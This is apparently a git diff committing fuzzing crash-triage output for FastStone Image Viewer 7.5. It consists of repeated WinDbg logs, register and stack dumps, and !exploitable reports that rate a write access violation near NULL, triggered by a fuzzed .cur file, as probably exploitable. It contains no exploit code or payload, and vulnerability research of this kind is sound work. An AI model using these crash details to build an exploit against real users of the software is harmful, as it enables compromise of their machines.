00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..69ca0dd Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/16566/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..4e04b59 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..589d5c7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x920: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x920: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(920.15f4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f77b19 edx=00000000 esi=00000000 edi=0f68cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.769194549449606240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.71562e+035 -2.23495e-033 0.236189 6.40688e-010 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08058130 07fd5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002fe000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002fe000 fd76d4c9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002fe000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..589d5c7 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/1755/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x920: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x920: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(920.15f4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07f77b19 edx=00000000 esi=00000000 edi=0f68cfd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.769194549449606240000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-3.71562e+035 -2.23495e-033 0.236189 6.40688e-010 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08058130 07fd5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002fe000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002fe000 fd76d4c9 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629c 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002fe000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 